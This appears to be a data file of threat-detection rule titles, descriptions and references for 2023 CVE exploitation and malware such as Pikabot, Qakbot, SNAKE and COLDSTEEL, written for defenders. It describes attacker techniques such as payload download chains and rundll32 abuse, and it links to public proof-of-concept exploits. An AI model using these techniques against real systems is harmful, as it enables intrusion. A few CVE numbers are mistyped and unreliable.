Raspberry Robin Initial Execution From External Drive	Detects the initial execution of the Raspberry Robin malware from an external drive using "Cmd.EXE".	https://redcanary.com/blog/raspberry-robin/
Serpent Backdoor Payload Execution Via Scheduled Task	Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload.	https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
Potential Raspberry Robin Dot Ending File	Detects commandline containing reference to files ending with a "." This scheme has been seen used by raspberry-robin	https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
Potential ACTINIUM Persistence Activity	Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.	https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations
FakeUpdates/SocGholish Activity	Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell.	https://twitter.com/th3_protoCOL/status/1536788652889497600, https://twitter.com/1ZRR4H/status/1537501582727778304
MERCURY APT Activity	Detects suspicious command line patterns seen being used by MERCURY APT	https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/
MSMQ Corrupted Packet Encountered	Detects corrupted packets sent to the MSMQ service. Could potentially be a sign of CVE-2023-21554 exploitation	https://www.randori.com/blog/vulnerability-analysis-queuejumper-cve-2023-21554/
CVE-2023-1389 Potential Exploitation Attempt - Unauthenticated Command Injection In TP-Link Archer AX21	Detects potential exploitation attempt of CVE-2023-1389 an Unauthenticated Command Injection in TP-Link Archer AX21.	https://www.tenable.com/security/research/tra-2023-11, https://github.com/Voyag3r-Security/CVE-2023-1389/blob/4ecada7335b17bf543c0e33b2c9fb6b6215c09ae/archer-rev-shell.py, https://www.zerodayinitiative.com/blog/2023/4/21/tp-link-wan-side-vulnerability-cve-2023-1389-added-to-the-mirai-botnet-arsenal
Exploitation Indicators Of CVE-2023-20198	Detecting exploitation indicators of CVE-2023-20198 a privilege escalation vulnerability in Cisco IOS XE Software Web UI.	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z, https://www.thestack.technology/security-experts-call-for-incident-response-exercises-after-mass-cisco-device-exploitation/
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux)	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.	https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html, https://www.huntress.com/blog/confluence-to-cerber-exploitation-of-cve-2023-22518-for-ransomware-deployment, https://github.com/ForceFledgling/CVE-2023-22518
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows)	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.	https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html, https://www.huntress.com/blog/confluence-to-cerber-exploitation-of-cve-2023-22518-for-ransomware-deployment, https://github.com/ForceFledgling/CVE-2023-22518
CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Proxy)	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.	https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html, https://www.huntress.com/blog/confluence-to-cerber-exploitation-of-cve-2023-22518-for-ransomware-deployment, https://github.com/ForceFledgling/CVE-2023-22518
CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Webserver)	Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.	https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html, https://www.huntress.com/blog/confluence-to-cerber-exploitation-of-cve-2023-22518-for-ransomware-deployment, https://github.com/ForceFledgling/CVE-2023-22518
Potential CVE-2023-2283 Exploitation	Detects potential exploitation attempt of CVE-2023-2283 an authentication bypass in libSSH. The exploitation method causes an error message stating that keys for curve25519 could not be generated. It is an error message that is a sign of an exploitation attempt. It is not a sign of a successful exploitation.	https://twitter.com/kevin_backhouse/status/1666459308941357056?s=20, https://git.libssh.org/projects/libssh.git/tree/src/curve25519.c#n420, https://nvd.nist.gov/vuln/detail/CVE-2023-2283, https://www.blumira.com/cve-2023-2283/, https://github.com/github/securitylab/tree/1786eaae7f90d87ce633c46bbaa0691d2f9bf449/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283
Outlook Task/Note Reminder Received	Detects changes to the registry values related to outlook that indicates that a reminder was triggered for a Note or Task item. This could be a sign of exploitation of CVE-2023-23397. Further investigation is required to determine the success of an exploitation.	https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
CVE-2023-23397 Exploitation Attempt	Detects outlook initiating connection to a WebDAV or SMB share, which could be a sign of CVE-2023-23397 exploitation.	https://www.trustedsec.com/blog/critical-outlook-vulnerability-in-depth-technical-analysis-and-recommendations-cve-2023-23397/
Potential CVE-2023-23397 Exploitation Attempt - SMB	Detects (failed) outbound connection attempts to internet facing SMB servers. This could be a sign of potential exploitation attempts of CVE-2023-23397.	https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
Potential CVE-2023-23752 Exploitation Attempt	Detects the potential exploitation attempt of CVE-2023-23752 an Improper access check, in web service endpoints in Joomla	https://xz.aliyun.com/t/12175, https://twitter.com/momika233/status/1626464189261942786
Potential CVE-2023-25157 Exploitation Attempt	Detects a potential exploitation attempt of CVE-2023-25157 a SQL injection in GeoServer	https://github.com/win3zz/CVE-2023-25157, https://twitter.com/parzel2/status/1665726454489915395, https://github.com/advisories/GHSA-7g5f-wrx8-5ccf
Potential CVE-2023-25717 Exploitation Attempt	Detects a potential exploitation attempt of CVE-2023-25717 a Remote Code Execution via an unauthenticated HTTP GET Request, in Ruckus Wireless Admin	https://cybir.com/2023/cve/proof-of-concept-ruckus-wireless-admin-10-4-unauthenticated-remote-code-execution-csrf-ssrf/
Potential CVE-2023-27363 Exploitation - HTA File Creation By FoxitPDFReader	Detects suspicious ".hta" file creation in the startup folder by Foxit Reader. This can be an indication of CVE-2023-27363 exploitation.	https://github.com/j00sean/SecBugs/tree/ff72d553f75d93e1a0652830c0f74a71b3f19c46/CVEs/CVE-2023-27363, https://www.zerodayinitiative.com/advisories/ZDI-23-491/, https://www.tarlogic.com/blog/cve-2023-27363-foxit-reader/
Potential CVE-2023-27997 Exploitation Indicators	Detects indicators of potential exploitation of CVE-2023-27997 in Frotigate weblogs. To avoid false positives it is best to look for successive requests to the endpoints mentioned as well as weird values of the "enc" parameter	https://blog.lexfo.fr/Forensics-xortigate-notice.html, https://blog.lexfo.fr/xortigate-cve-2023-27997.html, https://research.kudelskisecurity.com/2023/06/12/cve-2023-27997-fortigate-ssl-vpn/, https://labs.watchtowr.com/xortigate-or-cve-2023-27997/
Potential MOVEit Transfer CVE-2023-34362 Exploitation - File Activity	Detects file indicators of potential exploitation of MOVEit CVE-2023-34362.	https://www.bleepingcomputer.com/news/security/new-moveit-transfer-zero-day-mass-exploited-in-data-theft-attacks/, https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023, https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/, https://www.reddit.com/r/sysadmin/comments/13wxuej/comment/jmhdg55/
Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE	Detects the execution of "csc.exe" via "w3wp.exe" process. MOVEit affected hosts execute "csc.exe" via the "w3wp.exe" process to dynamically compile malicious DLL files. MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compiling a DLL and writing it under C:\\Windows\\Microsoft\.NET\\Framework64\\v4\.0\.30319\\Temporary ASP\.NET Files\\root\\([a-z0-9]{5,12})\\([a-z0-9]{5,12})\\App_Web_[a-z0-9]{5,12}\.dll. Hunting Opportunity Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated.	https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response, https://www.trustedsec.com/blog/critical-vulnerability-in-progress-moveit-transfer-technical-analysis-and-recommendations/
MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request	Detects get requests to specific files used during the exploitation of MOVEit CVE-2023-34362	https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023, https://www.mandiant.com/resources/blog/zero-day-moveit-data-theft
Potential CVE-2023-36874 Exploitation - Uncommon Report.Wer Location	Detects the creation of a "Report.wer" file in an uncommon folder structure. This could be a sign of potential exploitation of CVE-2023-36874.	https://github.com/Wh04m1001/CVE-2023-36874, https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/
Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation	Detects the creation of a file named "wermgr.exe" being created in an uncommon directory. This could be a sign of potential exploitation of CVE-2023-36874.	https://github.com/Wh04m1001/CVE-2023-36874, https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/
Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution	Detects the execution of a renamed "cmd", "powershell" or "powershell_ise" binary. Attackers were seen using these binaries in a renamed form as "wermgr.exe" in exploitation of CVE-2023-36874	https://github.com/Wh04m1001/CVE-2023-36874, https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/
Potential CVE-2023-36884 Exploitation Dropped File	Detects a specific file being created in the recent folder of Office. These files have been seen being dropped during potential exploitations of CVE-2023-36884	https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit, https://twitter.com/wdormann/status/1679184475677130755, https://twitter.com/r00tbsd/status/1679042071477338114/photo/1
Potential CVE-2023-36884 Exploitation Pattern	Detects a unique pattern seen being used by RomCom potentially exploiting CVE-2023-36884	https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
Potential CVE-2303-36884 URL Request Pattern Traffic	Detects a specific URL pattern containing a specific extension and parameters pointing to an IP address. This pattern was seen being used by RomCOM potentially exploiting CVE-2023-36884	https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
Potential CVE-2023-36884 Exploitation - File Downloads	Detects files seen being requested by RomCom while potentially exploiting CVE-2023-36884	https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
Potential CVE-2023-36884 Exploitation - URL Marker	Detects a unique URL marker seen being used by RomCom potentially exploiting CVE-2023-36884	https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
Potential CVE-2023-36884 Exploitation - Share Access	Detects access to a file share with a naming schema seen being used during exploitation of CVE-2023-36884	https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File	Detects the creation of a file with a double extension and a space by WinRAR. This could be a sign of exploitation of CVE-2023-38331	https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/, https://github.com/knight0x07/WinRAR-Code-Execution-Vulnerability-CVE-2023-38831/blob/26ab6c40b6d2c09bb4fc60feaa4a3a90cfd20c23/Part-1-Overview.md
CVE-2023-40477 Potential Exploitation - .REV File Creation	Detects the creation of ".rev" files by WinRAR. Could be indicative of potential exploitation of CVE-2023-40477. Look for a suspicious execution shortly after creation or a WinRAR application crash.	https://wildptr.io/winrar-cve-2023-40477-poc-new-vulnerability-winrar-security-research/, https://github.com/wildptr-io/Winrar-CVE-2023-40477-POC, https://www.rarlab.com/vuln_rev3_names.html
CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process	Detects exploitation attempt of CVE-2023-38331 (WinRAR before v6.23), where an attacker can leverage WinRAR to execute arbitrary commands and binaries.	https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/, https://github.com/knight0x07/WinRAR-Code-Execution-Vulnerability-CVE-2023-38831/blob/26ab6c40b6d2c09bb4fc60feaa4a3a90cfd20c23/Part-1-Overview.md
CVE-2023-40477 Potential Exploitation - WinRAR Application Crash	Detects a crash of "WinRAR.exe" where the version is lower than 6.23. This could indicate potential exploitation of CVE-2023-40477	https://wildptr.io/winrar-cve-2023-40477-poc-new-vulnerability-winrar-security-research/, https://github.com/wildptr-io/Winrar-CVE-2023-40477-POC, https://www.rarlab.com/vuln_rev3_names.html
Potential Information Disclosure CVE-2023-43261 Exploitation - Proxy	Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in proxy logs.	https://thehackernews.com/2023/10/experts-warn-of-severe-flaws-affecting.html, https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf, https://github.com/win3zz/CVE-2023-43261, https://vulncheck.com/blog/real-world-cve-2023-43261
Potential Information Disclosure CVE-2023-43261 Exploitation - Web	Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in access logs.	https://thehackernews.com/2023/10/experts-warn-of-severe-flaws-affecting.html, https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf, https://github.com/win3zz/CVE-2023-43261, https://vulncheck.com/blog/real-world-cve-2023-43261
Potential CVE-2023-46214 Exploitation Attempt	Detects potential exploitation of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing	https://github.com/nathan31337/Splunk-RCE-poc/, https://blog.hrncirik.net/cve-2023-46214-analysis, https://advisory.splunk.com/advisories/SVD-2023-1104
Exploitation Attempt Of CVE-2023-46214 Using Public POC Code	Detects exploitation attempt of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing using known public proof of concept code	https://github.com/nathan31337/Splunk-RCE-poc/, https://blog.hrncirik.net/cve-2023-46214-analysis, https://advisory.splunk.com/advisories/SVD-2023-1104
CVE-2023-46747 Exploitation Activity - Proxy	Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP.	https://github.com/AliBrTab/CVE-2023-46747-POC/tree/main, https://github.com/0xorOne/nuclei-templates/blob/2fef4270ec6e5573d0a1732cb18bcfc4b1580a88/http/cves/2023/CVE-2023-46747.yaml, https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg, https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/
CVE-2023-46747 Exploitation Activity - Webserver	Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP.	https://github.com/AliBrTab/CVE-2023-46747-POC/tree/main, https://github.com/0xorOne/nuclei-templates/blob/2fef4270ec6e5573d0a1732cb18bcfc4b1580a88/http/cves/2023/CVE-2023-46747.yaml, https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg, https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/
CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy	Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs by looking for a very long host header string.	https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967, https://attackerkb.com/topics/2faW2CxJgQ/cve-2023-4966, https://www.rapid7.com/blog/post/2023/10/25/etr-cve-2023-4966-exploitation-of-citrix-netscaler-information-disclosure-vulnerability/, https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966, https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-4966
CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy	Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs.	https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967, https://attackerkb.com/topics/2faW2CxJgQ/cve-2023-4966, https://www.rapid7.com/blog/post/2023/10/25/etr-cve-2023-4966-exploitation-of-citrix-netscaler-information-disclosure-vulnerability/, https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966, https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-4966
CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver	Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs.	https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967, https://attackerkb.com/topics/2faW2CxJgQ/cve-2023-4966, https://www.rapid7.com/blog/post/2023/10/25/etr-cve-2023-4966-exploitation-of-citrix-netscaler-information-disclosure-vulnerability/, https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966, https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-4966
CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver	Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs by looking for a very long host header string.	https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967, https://attackerkb.com/topics/2faW2CxJgQ/cve-2023-4966, https://www.rapid7.com/blog/post/2023/10/25/etr-cve-2023-4966-exploitation-of-citrix-netscaler-information-disclosure-vulnerability/, https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966, https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-4966
Potential Exploitation Attempt Of Undocumented WindowsServer RCE	Detects potential exploitation attempt of undocumented Windows Server Pre Auth Remote Code Execution (RCE)	https://github.com/SigmaHQ/sigma/pull/3946, https://twitter.com/hackerfantastic/status/1616455335203438592?s=20
Potential SocGholish Second Stage C2 DNS Query	Detects a DNS query initiated from a "wscript" process for domains matching a specific pattern that was seen being used by SocGholish for its Command and Control traffic	https://www.virustotal.com/gui/file/0e2854753d17b1bb534de8e765d5813c9fb584a745978b3d92bc6ca78e3e7735/relations, https://www.virustotal.com/gui/file/d5661009c461a8b20e1ad22f48609cc84dd90aee9182e026659dde4d46aaf25e/relations, https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update
Potential COLDSTEEL RAT File Indicators	Detects the creation of a file named "dllhost.exe" in the "C:\users\public\Documents\" directory. Seen being used by the COLDSTEEL RAT in some of its variants.	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/cold-steel/NCSC-MAR-Cold-Steel.pdf
Potential COLDSTEEL Persistence Service DLL Creation	Detects the creation of a file in a specific location and with a specific name related to COLDSTEEL RAT	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/cold-steel/NCSC-MAR-Cold-Steel.pdf
Potential COLDSTEEL Persistence Service DLL Load	Detects a suspicious DLL load by an "svchost" process based on location and name that might be related to ColdSteel RAT. This DLL location and name has been seen used by ColdSteel as the service DLL for its persistence mechanism	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/cold-steel/NCSC-MAR-Cold-Steel.pdf
COLDSTEEL RAT Anonymous User Process Execution	Detects the creation of a process executing as user called "ANONYMOUS" seen used by the "MileStone2016" variant of COLDSTEEL	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/cold-steel/NCSC-MAR-Cold-Steel.pdf
COLDSTEEL RAT Cleanup Command Execution	Detects the creation of a "rundll32" process from the ColdSteel persistence service to initiate the cleanup command by calling one of its own exports. This functionality is not present in "MileStone2017" and some "MileStone2016" samples	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/cold-steel/NCSC-MAR-Cold-Steel.pdf
COLDSTEEL RAT Service Persistence Execution	Detects the creation of an "svchost" process with specific command line flags, that were seen present and used by ColdSteel RAT	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/cold-steel/NCSC-MAR-Cold-Steel.pdf
Potential COLDSTEEL RAT Windows User Creation	Detects creation of a new user profile with a specific username, seen being used by some variants of the COLDSTEEL RAT.	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/cold-steel/NCSC-MAR-Cold-Steel.pdf
COLDSTEEL Persistence Service Creation	Detects the creation of new services potentially related to COLDSTEEL RAT	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/cold-steel/NCSC-MAR-Cold-Steel.pdf
DarkGate - Autoit3.EXE File Creation By Uncommon Process	Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable.	https://github.security.telekom.com/2023/08/darkgate-loader.html, https://www.kroll.com/en/insights/publications/cyber/microsoft-teams-used-as-initial-access-for-darkgate-malware, https://github.com/pr0xylife/DarkGate/tree/main
DarkGate - Autoit3.EXE Execution Parameters	Detects execution of the legitimate Autoit3 utility from a suspicious parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server.	https://github.security.telekom.com/2023/08/darkgate-loader.html, https://www.kroll.com/en/insights/publications/cyber/microsoft-teams-used-as-initial-access-for-darkgate-malware, https://github.com/pr0xylife/DarkGate/tree/main
DarkGate - User Created Via Net.EXE	Detects creation of local users via the net.exe command with the name of "DarkGate"	Internal Research
Griffon Malware Attack Pattern	Detects process execution patterns related to Griffon malware as reported by Kaspersky	https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/
Injected Browser Process Spawning Rundll32 - GuLoader Activity	Detects the execution of installed GuLoader malware on the host. GuLoader is initiating network connections via the rundll32.exe process that is spawned via a browser parent(injected) process.	Internal Research
IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32	Detects RunDLL32.exe executing a single digit DLL named "1.dll" with the export function "DllRegisterServer". This behaviour was often seen used by malware and especially IcedID	https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/, https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
Potential Pikabot C2 Activity	Detects the execution of rundll32 that leads to an external network connection. The malware Pikabot has been seen to use this technique to initiate C2-communication through hard-coded Windows binaries.	https://www.virustotal.com/gui/file/d72af640b71b8e3eca3eba660dd7c7f029ff8852bcacaa379e7b6c57cf4d9b44, https://www.virustotal.com/gui/file/6bb4cdbaef03b732a93559a58173e7f16b29bfb159a1065fae9185000ff23b4b, https://github.com/pr0xylife/Pikabot/blob/7f7723a74ca325ec54c6e61e076acce9a4b20538/Pikabot_06.12.2023.txt
Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE	Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files.	https://github.com/pr0xylife/Pikabot/blob/7f7723a74ca325ec54c6e61e076acce9a4b20538/Pikabot_30.10.2023.txt, https://github.com/pr0xylife/Pikabot/blob/7f7723a74ca325ec54c6e61e076acce9a4b20538/Pikabot_22.12.2023.txt
Potential Pikabot Discovery Activity	Detects system discovery activity carried out by Pikabot, such as incl. network, user info and domain groups. The malware Pikabot has been seen to use this technique as part of its C2-botnet registration with a short collection time frame (less than 1 minute).	https://www.virustotal.com/gui/file/72f1a5476a845ea02344c9b7edecfe399f64b52409229edaf856fcb9535e3242, https://tria.ge/231023-lpw85she57/behavioral2
Potential Pikabot Hollowing Activity	Detects the execution of rundll32 that leads to the invocation of legitimate Windows binaries. The malware Pikabot has been seen to use this technique for process hollowing through hard-coded Windows binaries	https://www.virustotal.com/gui/file/b6e8910fb9b3bb1fcddefd35ff0ed8624930d30d6977e11808c8330415685a62, https://www.virustotal.com/gui/file/6bb4cdbaef03b732a93559a58173e7f16b29bfb159a1065fae9185000ff23b4b, https://github.com/pr0xylife/Pikabot/blob/7f7723a74ca325ec54c6e61e076acce9a4b20538/Pikabot_06.12.2023.txt
Pikabot Fake DLL Extension Execution Via Rundll32.EXE	Detects specific process tree behavior linked to "rundll32" executions, wherein the associated DLL lacks a common ".dll" extension, often signaling potential Pikabot activity.	https://github.com/pr0xylife/Pikabot, https://tria.ge/231004-tp8k6sch9t/behavioral2, https://www.virustotal.com/gui/file/56db0c4842a63234ab7fe2dda6eeb63aa7bb68f9a456985b519122f74dea37e2/behavior, https://tria.ge/231212-r1bpgaefar/behavioral2
Qakbot Regsvr32 Calc Pattern	Detects a specific command line of "regsvr32" where the "calc" keyword is used in conjunction with the "/s" flag. This behavior is often seen used by Qakbot	https://github.com/pr0xylife/Qakbot/
Potential Qakbot Rundll32 Execution	Detects specific process tree behavior of a "rundll32" execution often linked with potential Qakbot activity.	https://github.com/pr0xylife/Qakbot/
Qakbot Rundll32 Exports Execution	Detects specific process tree behavior of a "rundll32" execution with exports linked with Qakbot activity.	https://github.com/pr0xylife/Qakbot/
Qakbot Rundll32 Fake DLL Extension Execution	Detects specific process tree behavior of a "rundll32" execution where the DLL doesn't have the ".dll" extension. This is often linked with potential Qakbot activity.	https://github.com/pr0xylife/Qakbot/
Qakbot Uninstaller Execution	Detects the execution of the Qakbot uninstaller file mentioned in the USAO-CDCA document on the disruption of the Qakbot malware and botnet	https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources, https://www.virustotal.com/gui/file/7cdee5a583eacf24b1f142413aabb4e556ccf4ef3a4764ad084c1526cc90e117/community, https://www.virustotal.com/gui/file/fab408536aa37c4abc8be97ab9c1f86cb33b63923d423fdc2859eb9d63fa8ea0/community
Rhadamanthys Stealer Module Launch Via Rundll32.EXE	Detects the use of Rundll32 to launch an NSIS module that serves as the main stealer capability of Rhadamanthys infostealer, as observed in reports and samples in early 2023	https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88, https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/, https://www.joesandbox.com/analysis/790122/0/html, https://twitter.com/anfam17/status/1607477672057208835
Rorschach Ransomware Execution Activity	Detects Rorschach ransomware execution activity	https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/
SNAKE Malware Kernel Driver File Indicator	Detects SNAKE malware kernel driver file indicator	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
SNAKE Malware WerFault Persistence File Creation	Detects the creation of a file named "WerFault.exe" in the WinSxS directory by a non-system process, which can be indicative of potential SNAKE malware activity	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
SNAKE Malware Installer Name Indicators	Detects filename indicators associated with the SNAKE malware as reported by CISA in their report	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
Potential SNAKE Malware Installation CLI Arguments Indicator	Detects a specific command line arguments sequence seen used by SNAKE malware during its installation as described by CISA in their report	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
Potential SNAKE Malware Installation Binary Indicator	Detects a specific binary name seen used by SNAKE malware during its installation as described by CISA in their report	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
Potential SNAKE Malware Persistence Service Execution	Detects a specific child/parent process relationship indicative of a "WerFault" process running from the "WinSxS" as a service. This could be indicative of potential SNAKE malware activity as reported by CISA.	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
SNAKE Malware Covert Store Registry Key	Detects any registry event that targets the key 'SECURITY\Policy\Secrets\n' which is a key related to SNAKE malware as described by CISA	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
Potential Encrypted Registry Blob Related To SNAKE Malware	Detects the creation of a registry value in the ".wav\OpenWithProgIds" key with an uncommon name. This could be related to SNAKE Malware as reported by CISA	https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
